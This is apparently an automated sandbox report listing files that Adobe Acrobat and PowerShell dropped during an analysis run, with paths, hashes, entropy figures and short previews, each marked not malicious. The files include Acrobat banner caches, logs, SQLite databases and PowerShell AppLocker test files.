Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3369722941816065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfzdPeUkwRe9:YvXKX2EoEZc0vaGb8Ukee9
MD5:	21A46694609457BFA0F8D85130578033
SHA1:	CF81FE3D2823C5D3474F235AA5259B071F752093
SHA-256:	ACB00F74B6E667A97DBED229A7137308778406FB524ED7B7E026D9D97D71B52A
SHA-512:	797B96A64282886000A10264D74A351D8195E88E97A3F60253D79E69DEADCF9A2EBC03CA1474D87E22E1604862063EABCE62FE10FFEECD7136C5606ECE2FF3F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317375591905967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfYdPeUkwRe9:YvXKX2EoEZc0vaGg8Ukee9
MD5:	2DC4B74182194E5CB43E32207365F55A
SHA1:	76CBF1D92DA7400AD51FA878463BBD40B3682651
SHA-256:	0F00922E06FA9949F4B8BB5CD8E2FC8FEF2F66892229484F4D603223E661351C
SHA-512:	1DBEC32BBA15EF6FDEA30C7ED357241E62C899C2B1DD228F3D8D693C171DA1A93241B15FFBE27AEDC2DC975249F693A524B41381B5693A41B6DC7AA86F69F935
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.303414171504004
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJf+dPeUkwRe9:YvXKX2EoEZc0vaG28Ukee9
MD5:	7070B313F039285C43AC799E37C0F995
SHA1:	7B36FA9B02206A0E1A06E6AB82D8359EAA0C10EF
SHA-256:	2B7F01D5D97BD2E4E56DB239358CA46AD6A8BBA0886D87DE4AA78B7FD546E5D8
SHA-512:	F2FBAFAA3D92F25A9CA67A10264875292463AFCDD917C740ABA5831610092B9F102CA6051D60C97AB3744B206E3E01225EC1F5587457AD32DC16BEE9B23098F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.300803269704187
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfbPtdPeUkwRe9:YvXKX2EoEZc0vaGDV8Ukee9
MD5:	D95EC11B3D2C1C3E30C56E1609DA1DA2
SHA1:	EC48FCECB83C30C44441C277DD5579B3E27BEC74
SHA-256:	A51CFD30B5BE6A44105697850C529EAF69F25F08B94D8325F76AC2D4A0989414
SHA-512:	8FB9C1B5AC6444303CC37E57BE1269F2435CCA1C3D89F34A09DACEA9FB62FF6D6DDA500A8A58F9FC0FFE501BFA1F8046E198B73C6B4389CCE232D719539C4B84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.305045476389844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJf21rPeUkwRe9:YvXKX2EoEZc0vaG+16Ukee9
MD5:	D7A3C524F705FCDBFD581FCA3E267830
SHA1:	6D8F0610F8A290BDA495EDF8FE0F1FD33B51A16D
SHA-256:	4C0A04EC2F585FD7A2E0FFE10854DF4DD84F7A19DEC00C2471FE64FE134BA310
SHA-512:	BD590050D5046696BD7862CB9DAE8BBBFACA47BC0707ECC5F807CE87BF4471297D18558B49E24155F1E754A61BC09BC62670A4410F68F97FDDA8971CCA5895ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66631690808989
Encrypted:	false
SSDEEP:	24:Yv6X2EoEzvPamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS5aS:YvVUfBgkDMUJUAh8cvM5B
MD5:	3B9D20FFF4D545D60F677ACD538C6186
SHA1:	96FCE0224CC30EEFD297EB9E20DA26312FE12E6C
SHA-256:	CD0E75B232DBFB9807A78E035AB0320DFB16693B88DB061CCD9CD6B64346A296
SHA-512:	D40BAC18892B894C7FC05E56BD64B5A6C01280703944C71F2F81AC1169E86D50A7B45856CFADBCDD3406AA62B3251F4F28CB651F4968E9D98E2DAD25F881D772
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.280785369724148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfshHHrPeUkwRe9:YvXKX2EoEZc0vaGUUUkee9
MD5:	0AF3ACF324B739423BD3093ABD785F05
SHA1:	7886AAB8DCA98ED54F5D6AC9C189E46582DEE13F
SHA-256:	107F391E23F141A08ED0B8B904A4407CE4B65EC96741BD7837C46193EAE1D7CC
SHA-512:	2CE6398FE8C4A756E6A64170483D3629284211F3A420F2BAF60CA7B67E0D513CE85AF6C2C00AFFFF70E72FE9A1FFDAE8BFC629076E97AADBAC3BF20C5FB411CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.28486998043761
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJTqgFCrPeUkwRe9:YvXKX2EoEZc0vaGTq16Ukee9
MD5:	9DD85C39B535C531271CFF91354B78F2
SHA1:	0FE5180CAF32A6AF13924E4C2E7D5549079D25D0
SHA-256:	43E9CF27736750585C1AFC09C36385A686FE79E487F981F3E67EC4AB59E4222B
SHA-512:	394B7F30F0B2BE2C9D9CD7E32013B3F7F7810511347F4CCED83028850439427FDC399A9002DC6A74F525813BEA2C4671CCF9BDF4D06B9E976A1FCBD033C45F0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138681517092737
Encrypted:	false
SSDEEP:	24:YPha2PNay5VdSZfRfqkPZbqc2qj5dj0SehoSi2pv2LSwCuFyvn9iN5E1h9fYudOG:YFVoDCkcG5xhxYv2BFMeih9fH
MD5:	393E8F36B7741906389F241BF19D695C
SHA1:	62509B5973B6B8DEF92B1C115C922392D7EAB989
SHA-256:	2BE88577F7F6FA101435042200B6B7291E506A6814D9983A6EDAA7676A22BD7E
SHA-512:	97407B12DCF02CDA1DEE74A8CDB22BC37B0D54CDB95207F9EFCB046CE9DEA4DB23DA2CF1BA095B51D55EE3FF0DB20C8F22F8E9C36405F71802F907300D709EAE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e26d224b72a8456dfb6ca9e5ec88870c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557974000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4edf02d3a669c7231ddd5ba64fd69ceb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557974000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5e0a90dca90ad60de2a5564ad676bc56","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557974000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b93e2038ef8e29684c729ace7504935f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557974000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"51f7b783f19565f937eb8a8570b0caa0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557974000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d7f735ec83d1c141b7b7be3e3b6ad68d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1891481846320409
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUpSvR9H9vxFGiDIAEkGVvpR:lNVmswUUUUUUUUp+FGSItN
MD5:	78B92F18162C27ECDDDAA9385EF1CE25
SHA1:	9409F77C535B68AB0E91BB608F0ED3FE0235FDCB
SHA-256:	C434074018132556F48509C6F3BA7427FCBE5F9E42A97B38D8D7F1C975475581
SHA-512:	25051E7F1581AC5B1609C55FCA92A059A033498811E88D510EB46AFCB635AFFB3638A61BC6C468F353B932295C031B7B307C81BA5B32DB5F0497CC4235B13A93
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6060802433210386
Encrypted:	false
SSDEEP:	48:7MFKUUUUUUUUUUBvR9H9vxFGiDIAEkGVvEqFl2GL7msl:7TUUUUUUUUUUlFGSIteKVmsl
MD5:	624DAA2B7EFAD3C59348B211BED0D00E
SHA1:	104B8C08CD4D4CD8B464D20E73F18F040892B5EE
SHA-256:	819F6BD8E1EE475E2DE865F0378723B5BBC73D5A320ECC93D721729A2764AC07
SHA-512:	AD74C3446021CC49C206795961E1891E91C2255C948DB348BA3D4BC1BB412220F71F83A040FB412CA6AE8B1E6740D4039BF1011E34BC3A7C84DD52B5E5D55A33
Malicious:	false
Preview:	.... .c......7.L......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgeAQ2mNuUgGyrDhawmo8pt6DdrfYyu:6a6TZ44ADEeAKYDhawmo8ptijK
MD5:	8CE53A9C4E7146B4285A7B53F256A50F
SHA1:	16FC59421BB7F271831B0D77537752AA0E44F445
SHA-256:	F73BEB95B8FA748A4492B964F64904F508049D2F240926B96626E6FBB0FDC9A2
SHA-512:	427D1A906BE9ACA9305C313F420188F025231048752A195DB6F0AE785C8B710A62AEB2E5736363AA122183851160BD7FE064E27B11AB7C66D0CB38E54D56AB67
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIdc57a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.480679440204275
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl5laCH:Qw946cPbiOxDlbYnuRK+bOlaCH
MD5:	733B807F3C4578F576355AEC449B4A29
SHA1:	681BB0E74F72970F6D3A3D9868A1B819C4C5C599
SHA-256:	F470C0DF98CB9049324CCE8C4D7EE3214F929A62CE36235EA80FCAF12A1F84E0
SHA-512:	D972C8DFCC951D666575BED24A2F1A2A853265E6D3ECE9E822EC7EE5BBDE4196F6DFA3C3865A680017D1EBF68041863B8F5031C035655F1A88666333BFBBA34F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.2.:.5.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eidgdyfv.xtu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdu0besw.kc5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91dl8lkd_1jmpeg5_5y8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-12-47-159.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356987822970075
Encrypted:	false
SSDEEP:	384:3HAAeAvA2A0AJA/IARhehghJhzh8j3jjjZ8F8utStzt8trCdWtd4d6VDkTkZkXnU:3gDMbf4KIEU2zVez3dwDAduE4tS4FUm9
MD5:	9009277E17FA2914C5A6BE4C97EA7474
SHA1:	36380B6BD4F0887650BA6084E9461E8E89BD053B
SHA-256:	7B03FD88BA664C24C7443D12F74EF7A3D6AC1845897F24FD180F2B37CCE3B68A
SHA-512:	53E0C915F08AAF2E00503FF5EB239D10D11D591C05AFA6CCE7FD742079C6B9CD519C6DC51103C512A70F517C85C49A912A3909EEBB6EE1773CC8B53A5450F3A1
Malicious:	false
Preview:	SessionID=a43ba2d5-58a7-43be-b31b-b29cc2343cab.1736557967181 Timestamp=2025-01-10T20:12:47:181-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a43ba2d5-58a7-43be-b31b-b29cc2343cab.1736557967181 Timestamp=2025-01-10T20:12:47:182-0500 ThreadID=7492 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a43ba2d5-58a7-43be-b31b-b29cc2343cab.1736557967181 Timestamp=2025-01-10T20:12:47:182-0500 ThreadID=7492 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a43ba2d5-58a7-43be-b31b-b29cc2343cab.1736557967181 Timestamp=2025-01-10T20:12:47:182-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a43ba2d5-58a7-43be-b31b-b29cc2343cab.1736557967181 Timestamp=2025-01-10T20:12:47:182-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.385060215668273
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rA:qUUon4hon59Z5rYdioxsl2/
MD5:	8BAD2AEBC86B49B430D0858C6B30828D
SHA1:	6FC922637016B121C0CBA70C87549FA286125398
SHA-256:	B9FD6A60BE836071B6EB863E423D76C86611143EE2C3F45B5AB6EA42D5B47A13
SHA-512:	6EC39E523F16447FD7A737E5DFC01620A8D056570557F4033270FD5417775FC7716C3068D202E818C35659D34EAA155CADCB6833960D030F30FD883B33BC02C9
Malicious:	false
